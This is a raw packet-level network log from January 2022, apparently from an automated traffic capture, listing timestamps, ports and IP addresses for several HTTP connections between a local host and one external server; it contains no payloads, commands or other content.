Jan 14, 2022 02:04:24.478385925 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478405952 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478425980 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478425980 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478449106 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.478468895 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.478976965 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479001999 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479023933 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479028940 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479043961 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479067087 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479074001 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479090929 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479113102 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479120970 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479134083 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479149103 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479156971 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479177952 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479198933 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479201078 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479219913 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479233027 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479242086 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479264021 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479281902 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479283094 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479305029 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479321957 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479324102 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479346037 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479357958 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479367971 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479388952 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479406118 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479408026 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479432106 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479449987 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479451895 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479476929 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479491949 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.479497910 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.479537964 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.528810978 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528844118 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528866053 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528891087 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528914928 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528930902 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.528937101 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528961897 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528970003 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.528986931 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.528987885 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529016018 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529028893 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529052973 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529058933 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529072046 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529083967 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529109955 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529128075 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529131889 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529154062 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529166937 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529176950 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529201984 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529213905 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529220104 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529247999 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529268026 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529278994 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529300928 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529321909 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529371023 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529927969 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529948950 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529977083 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.529999018 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.529999971 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530025005 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530041933 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530050039 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530072927 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530086994 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530096054 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530119896 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530138969 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530143976 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530168056 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530188084 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530194044 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530217886 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530240059 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530241013 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530263901 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530283928 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530293941 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530316114 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530337095 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530337095 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530359983 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530380011 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530381918 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530405045 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530426025 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530426979 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530448914 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530471087 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530471087 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530493021 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530514002 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.530517101 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.530556917 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579509020 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579559088 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579588890 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579617023 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579617977 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579653025 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579663038 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579680920 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579708099 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579719067 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579736948 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579766035 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579792976 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579797029 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579822063 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579843044 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579850912 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579879999 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579905033 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579905987 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579933882 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579946995 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.579962015 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579988956 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.579998970 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580015898 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580043077 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580050945 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580070972 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580097914 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580106974 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580125093 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580168962 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580672979 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580707073 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580734015 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580760002 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580763102 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580787897 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580806017 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580816984 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580842972 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580869913 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580873966 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580898046 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580916882 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580928087 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580955982 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.580974102 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.580985069 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581011057 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581031084 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581037998 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581064939 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581074953 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581091881 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581118107 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581125021 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581142902 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581167936 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581176996 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581195116 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581219912 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581231117 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581247091 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581271887 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581283092 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581299067 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581326008 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581336021 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.581352949 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.581392050 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630413055 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630450010 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630475998 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630497932 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630507946 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630521059 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630537987 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630553007 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630575895 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630594969 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630605936 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630628109 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630646944 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630656958 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630669117 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630687952 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630691051 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630711079 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630731106 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630732059 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630750895 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630770922 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630789995 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630791903 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630810976 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630830050 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630831957 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630850077 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.630851984 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.630893946 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.631043911 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631064892 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631103992 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.631805897 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631833076 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631853104 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631874084 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631892920 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.631894112 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631917000 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631937027 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631943941 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.631958961 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.631974936 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.631980896 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632000923 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632002115 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632025003 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632038116 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632047892 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632070065 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632091045 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632098913 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632112026 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632118940 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632133007 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632152081 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632169962 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632177114 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632200956 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632214069 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632221937 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632241964 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632257938 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632261992 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632282972 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632302046 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632302046 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632324934 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632342100 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.632344007 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.632380962 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.681716919 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681747913 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681771040 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681792974 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681812048 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681833029 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681855917 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.681869030 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681894064 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.681900978 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681922913 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681943893 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681948900 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.681965113 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681988001 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.681991100 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682009935 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682029963 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682038069 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682051897 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682070971 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682079077 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682094097 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682113886 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682116032 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682142019 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682152033 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682162046 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682188034 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682202101 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682208061 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682251930 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682760000 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682782888 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682852983 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682873964 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682878971 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.682897091 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.682943106 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.683058977 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:24.683114052 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.683290005 CET	49769	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:24.733455896 CET	80	49769	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:27.865760088 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:27.917097092 CET	80	49773	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:27.917231083 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:27.917357922 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:27.917371035 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:27.967797995 CET	80	49773	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.002492905 CET	80	49773	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.002574921 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.002868891 CET	49773	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.035759926 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.055291891 CET	80	49773	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.090955973 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.091387033 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.091521025 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.093456030 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.143311977 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.145564079 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.178390026 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.178412914 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.178473949 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.188874006 CET	49774	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.232652903 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.239624977 CET	80	49774	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.283782959 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.283883095 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.283991098 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.284002066 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.335021019 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.368968010 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.369066954 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.369102955 CET	49775	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.398696899 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.421667099 CET	80	49775	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.449069977 CET	80	49776	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:28.449165106 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.449259996 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.449280977 CET	49776	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:28.499466896 CET	80	49776	93.189.42.167	192.168.2.3
